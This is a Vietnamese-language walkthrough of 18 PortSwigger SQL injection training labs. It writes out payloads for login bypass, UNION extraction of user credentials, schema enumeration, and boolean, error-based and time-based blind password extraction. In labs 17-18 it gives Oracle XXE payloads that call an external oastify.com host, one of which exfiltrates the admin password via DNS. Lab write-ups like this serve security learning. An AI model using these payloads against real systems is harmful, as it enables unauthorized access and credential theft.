# Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

- Lab này yêu cầu tấn công để web hiển thị tất cả các sản phẩm đã phát hành và chưa phát hành. Lỗ hổng này nằm trong filter category.
- Dùng Burp Suite để bắt request từ category

- Đưa nó vào Repeater để sửa request, ta sẽ thực hiện SQL injection bằng cách thêm vào `'+OR+1=1--`
- Dấu ' để tìm kiếm lỗi
- Thêm `+OR+1=1--` để câu lệnh luôn đúng, tức là hiển thị tất cả các sản phẩm trong category, bao gồm cả các categories không biết
- `--` là cú pháp comment trong sql, tất cả những phần sau nó đều vô nghĩa, tức là `AND released = 1` sẽ được bỏ qua
- Tóm lại, câu lệnh trở thành
```sql
SELECT * FROM products WHERE category = 'Tech+gifts'or'1'='1'-- AND released = 1
```

Done!

# Lab 2: SQL injection vulnerability allowing login bypass

Lab chứa lỗ hổng ở trang đăng nhập

Nhập thử `a` ở `username` và `password` câu lệnh sql sẽ có dạng
```sql
SELECT * FROM users WHERE username = 'a' AND password = 'a'
```
Nếu nhập `username` là `'or'1'='1'--` thì lệnh này sẽ trở thành
```sql
SELECT * FROM users WHERE username = ''or'1'='1'-- AND password = 'a'
```
Vì 1=1 là điều kiện luôn đúng và password bị trở thành comment nên ta có thể login ở bất kỳ tài khoản nào

Done!

# Lab 3: SQL injection UNION attack, determining the number of columns returned by the query

Lab này yêu cầu xác định số cột của câu lệnh sql sử dụng UNION

Giả sử câu lệnh sql là
```sql
SELECT name, price FROM product WHERE category = 'Gifts'
```
Lệnh trên truy vấn 2 cột `name` và `price` nên ta sẽ chèn thêm `'UNION SELECT NULL, NULL --`
Câu lệnh trở thành
```sql
SELECT name, price FROM product WHERE category = 'Gifts' UNION SELECT NULL, NULL --
```
Đưa tab filter category vào Repeater trong BurpSuite để thay đổi tham số category
UNION trả về đúng chỉ khi các truy vấn riêng lẻ có cùng số cột
Select 1 cột

Select 2 cột

Select 3 cột

Như vậy câu lệnh sql ở đây select 3 cột
# Lab 4: SQL injection UNION attack, finding a column containing text

Lab yêu cầu tìm cột có giá trị là string

Đầu tiên, xác định số cột của câu lệnh sql

Câu lệnh này chứa 3 cột
Tiếp theo, xác định cột nào là string
Tìm thấy ở cột thứ 2

Thay chuỗi của đề yêu cầu

Done!
# Lab 5: SQL injection UNION attack, retrieving data from other tables

Lab cho biết trong database chứa bảng `users` có 2 cột là `username` và `password`
Dùng UNION để tấn công: chèn thêm lệnh `'+UNION+SELECT+username,password+FROM+users--`
Ta tìm thấy tài khoản admin

Giờ thì login vào thui

Done!
# Lab 6: SQL injection UNION attack, retrieving multiple values in a single column

Lab yêu cầu đưa ra tất cả giá trị trong bảng `users`
Đầu tiên, xác định số cột truy vấn

Bước 2, xác định cột nào là định dạng string

Vì chỉ có 1 cột là dạng chuỗi nên
Bước 3, ghép 2 giá trị `username` và `password` vào cột thứ 2 bằng cách chèn thêm `||'~'||`
Câu lệnh lúc này là
`'UNION+SELECT+NULL,username||'~'||password+FROM+users--`

Đem tài khoản và mật khẩu admin login vào

Done!
# Lab 7: SQL injection attack, querying the database type and version on Oracle

Lab yêu cầu tấn công UNION để xác định phiên bản database
Ta có [cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) sau

Đầu tiên, xác định số cột select, vì là `Oracle` nên phải `FROM` từ một bảng xác định, bảng này được gọi là `dual`

Xác định cột nào là định dạng string

Payload câu lệnh tương ứng với `Oracle`
```sql
'+UNION+SELECT+banner,+NULL+FROM+v$version--
```

Done!
# Lab 8: SQL injection attack, querying the database type and version on MySQL and Microsoft

Lab yêu cầu tấn công UNION để xác định phiên bản database MySQl và Microsoft
Ta có [cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) sau

Đầu tiên, xác định xem câu lệnh hiện tại select bao nhiêu cột

Tiếp theo, kiểm tra cột nào có giá trị là string

Dùng câu lệnh `'UNION+SELECT+@@version,+NULL#`

Done!
# Lab 9: SQL injection attack, listing the database contents on non-Oracle databases

Lab yêu cầu đưa ra nội dung bên trong database không phải Oracle
Xác định số cột select

Xác định định dạng của cột nào là string

Ta có câu lệnh lấy ra các bảng từ database
```sql
SELECT table_name FROM information_schema.tables
```
Payload câu lệnh
```sql
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```

Ta thu được rất nhiều bảng

Ta có câu lệnh lấy ra tên cột từ bảng
```sql
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'
```
Payload với bảng `users_ssechg`
```sql
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ssechg'--
```

Tìm được 2 cột `username_rrdhji` và `password_nazjad`

Select 2 cột này

Tìm thấy tài khoản admin lab yêu cầu
Login vào thui

Done!
# Lab 10: SQL injection attack, listing the database contents on Oracle

Tương tự lab trên, nhưng database là `Oracle`
Xác định số cột select

Xác định cột nào có định dạng là string

Payload câu lệnh lấy ra các bảng từ database


Payload câu lệnh lấy ra các cột từ bảng `USERS_ATZKZV`

Trong bảng `USERS_ATZKZV` tìm được 2 cột `USERNAME_CZPOAL` và `PASSWORD_KDHTWY`

SELECT để xem nội dung của 2 cột này

Tìm thấy tài khoản admin
Login thui

Done!
# Lab 11: Blind SQL injection with conditional responses

- Lab này chứa lỗ hổng blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie đã gửi.
- Kết quả của truy vấn SQL không được trả về và không có thông báo lỗi nào được hiển thị. Tuy nhiên, ứng dụng sẽ bao gồm thông báo *"Welcome back"* nếu truy vấn trả về bất kỳ hàng nào.
- Database của lab chứa bảng `users` với 2 cột `username` và `password`. Để giải lab ta cần phải tìm ra tài khoản `administrator` và login bằng nó.
Đầu tiên, ta chèn vào câu lệnh luôn đúng và luôn sai để xem response của web


Web sẽ trả về *"Welcome back"* nếu câu truy vấn đúng, và không trả về gì nếu truy vấn sai
Tận dụng lỗi này để khai thác `password` của tài khoản `administrator`
Kiểm tra xem bảng `users` có tồn tại hay không bằng payload
```sql
'+AND+(SELECT+'a'+FROM+users+LIMIT+1)='a'--
```

Trả về *"Welcome back"* nên tồn tại bảng `users`
Kiểm tra xem có `username` nào là `administrator` hay không bằng payload
```sql
'+AND+(SELECT+'a'+FROM+users+WHERE+username='administrator')='a'--
```

Trả về *"Welcome back"* nên tồn tại `username` là `administrator`
Tiếp theo, kiểm tra độ dài của `password` là bao nhiêu bằng payload
```sql
'+AND+(SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+LENGTH(password)>1)='a'--
```

Trả về *"Welcome back"* tức là password có độ dài lớn hơn 1
Ta sẽ brute force bằng Burp Intruder với attack type *Sniper* và payload với đối số là 1




Như vậy, password có độ dài 20 kí tự
Tiếp theo, brute force từng kí tự trong password
Payload
```sql
'+AND+(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+username='administrator')='a'--
```
Gửi qua Intruder
- Gán 2 biến: biến thứ nhất là vị trí trong xâu, từ 1 -> 20; biến thứ hai là kí tự kiểm tra, a -> z, 0 -> 9
- Attack type là *Cluster bomb*

- Gán miền giá trị cho từng biến


- Nếu trả về *"Welcome back"* thì chính là kí tự đúng

*Chú ý: dùng bản pro nhanh hơn :))))))*

- Sắp xếp lại vị trí, ta được mật khẩu: `vzpttufherdpsiqgirg3`
Login xem nào

Done!
# Lab 12: Blind SQL injection with conditional errors

- Lab này sẽ không trả về giá trị nào của truy vấn, còn nếu sql lỗi thì ứng dụng sẽ đưa ra lỗi tương ứng
- Database chứa bảng `users` có 2 cột `username` và `password`. Ta phải khai thác lỗ hổng blind SQL injection để tìm ra tài khoản `administrator`.
Đầu tiên, xác định xem web sử dụng database loại gì

Web không xảy ra lỗi, tức là nó sử dụng Oracle
Ta có truy vấn sẽ làm cho câu lệnh lỗi
```sql
SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ''
```
Tận dụng lỗi này để khai thác
Tiếp theo, xác định có tồn tại `username` là `administator` không
```sql
'+||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||'
```

Nhận được lỗi, chứng tỏ tồn tại
Tiếp theo, tìm độ dài của password
```sql
'+||(SELECT+CASE+WHEN+LENGTH(password)>§1§+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||'
```

Thử từ 1 -> 30

Có sự thay đổi ở vị trí 20 trở đi

Ở đây web không xảy ra lỗi (status 200), chứng tỏ password có 20 kí tự
Tiếp theo, tìm từng kí tự của password
```sql
'+||(SELECT+CASE+WHEN+SUBSTR(password,$1$,1)='§a§'+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')||'
```
Tại vị trí nào web xảy ra lỗi (status 500) thì ở đó chính là vị trí kí tự của password

Sắp xếp lại ta được: `y4dylv102y07vu4kf50l`

Done!
# Lab 13: Visible error-based SQL injection

- Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie đã gửi. Kết quả của truy vấn SQL không được trả về.
- Mục tiêu lab: tìm cách rò rỉ mật khẩu cho người dùng quản trị viên, sau đó đăng nhập vào tài khoản của họ.
Đầu tiên, thử truy vấn luôn đúng và luôn sai


Web không lỗi, chứng tỏ điều này không có tác dụng trong bài lab này
Payload câu lệnh để ép kiểu string về int

Web trả về lỗi
Thay đổi một chút thì câu lệnh này thành hợp lệ, vì điều kiện AND phải là kiểu boolean (đúng hoặc sai)

Áp dụng vào bài lab

Tiếp tục nhận được lỗi, truy vấn bị giới hạn kí tự
Do đó ta sẽ xóa bớt giá trị cookie để nhường chỗ cho chúng

Có nhiều hơn 1 dòng được trả về, nên ta phải giới hạn nó

Ở đây, ta thấy web bị rò rỉ `username` là `adsministrator`, và cũng là `username` đầu tiên trong bảng
Thay đổi payload để leak được mật khẩu

Login vào xem sao

Done!
# Lab 14: Blind SQL injection with time delays

- Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi hay gây ra lỗi.
- Tuy nhiên, do truy vấn được thực hiện đồng bộ nên có thể kích hoạt độ trễ thời gian có điều kiện để suy ra thông tin.
- Để giải lab này, chỉ cần làm web response chậm 10s
Ta có [cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

Vì ta chưa biết web sử dụng DB loại gì, nên sẽ thử từng cái. Sau khi thêm đến `'+||+pg_sleep(10)--` thì thành công

# Lab 15: Blind SQL injection with time delays and information retrieval

Tương tự lab trên
Đầu tiên, kiểm tra xem web sử dụng DB loại nào

Thử lệnh `|| pg_sleep(10)` thì thấy web phản hồi khá lâu còn các lệnh khác thì rất nhanh, chứng tỏ web sử dụng `PostgreSQL`
Tiếp theo, payload lệnh
```sql
'||(SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users)--
```
Khi username là `administrator` có độ dài password > 1 thì web sẽ phản hổi sau 10s, ngược lại web phản hồi ngay
Gửi qua Intruder, thử 1 -> 30




Ở request 20 ta thấy thời gian phản hồi giảm hẳn => password có độ dài 20 kí tự

Tiếp theo, payload lệnh để kiểm tra từng kí tự của password
```sql
'||(SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users)--
```
Attack type: Cluster bomb




Ta thấy những phản hổi lớn hơn 10s thì chính là kí tự chính xác

Sắp xếp lại được: `3spdqwcns2hyu9lxsyb8`

Done!
# Lab 16: SQL injection with filter bypass via XML encoding

- Lab này chứa lỗ hổng SQL. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, do đó có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác.
- Mục tiêu lab: tấn công SQL để lấy tài khoản của `adminnistrator`, sau đó login.
Đầu tiên, ta sẽ tìm kiếm các đầu vào có liên quan đến stock

Gửi qua Repeater để xử lý.
- Ở đây, ta thấy code XML chứa `productID` và `storeID` sẽ gửi truy vấn đến web, và web sẽ trả vể số lượng hàng còn lại của sản phẩm này.
- Tuy nhiên, nếu tham số này không được mã hóa, ta có thể tận dụng để truy xuất nội dung từ DB
Tiếp theo, xác định số cột của truy vấn

Yêu cầu của chúng ta bị chặn bởi tưởng lừa
Để vượt qua tường lửa này, ta sử dụng extension `Hackvertor`. Tool này dùng để mã hóa dữ liệu dưới các dạng: rot13, base64, hex, url encode, md5, sha1,...
Ở đây ta sẽ encode truy vấn sử dụng `hex_entities`

Tiếp tục kiểm tra số cột thui

Trả vể 0 sản phẩm, vậy không phải 2 cột

Trả vể số lượng sản phẩm, như vậy truy vấn có 1 cột
Ta cần lấy ra `username` và `password`, mà lại chỉ có 1 cột, nên phải nối giá trị của chúng với nhau
Payload
```sql
UNION SELECT username || '~' || password FROM users
```

Thấy các tài khoản được trả về, login với `administrator`

Done!
# Lab 17: Blind SQL injection with out-of-band interaction

- Lab này chứa lỗ hổng blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie đã gửi.
- Có thể kích hoạt các tương tác out-of-band với domain bên ngoài.
- Để giải lab, DNS lookup cho Burp Collaborator.
Bắt được request chứa cookie của `TrackingID`

Ta có [cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

Payload với Oracle:
```sql
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//er94by32oxu0bsyi2yhmlk86bxht5lta.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
```

DNS lookup thành công


# Lab 18: Blind SQL injection with out-of-band data exfiltration

- Lab này chứa lỗ hổng blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie đã gửi.
- Có thể kích hoạt các tương tác out-of-band với domain bên ngoài.
- Database chứa bảng `users`, với các cột `username` và ` password`.
- Để giải lab, login bằng administrator.
Tương tự như lab trên nhưng ta sẽ thay đổi query SQL một chút
Ta có [cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

Payload:
```sql
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.jm9963y7j2p56xtnx3crgp3b62cz0poe.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
```

DNS lookup thành công và ta nhận được password ` q7d99gdu2trcl7aanne2`

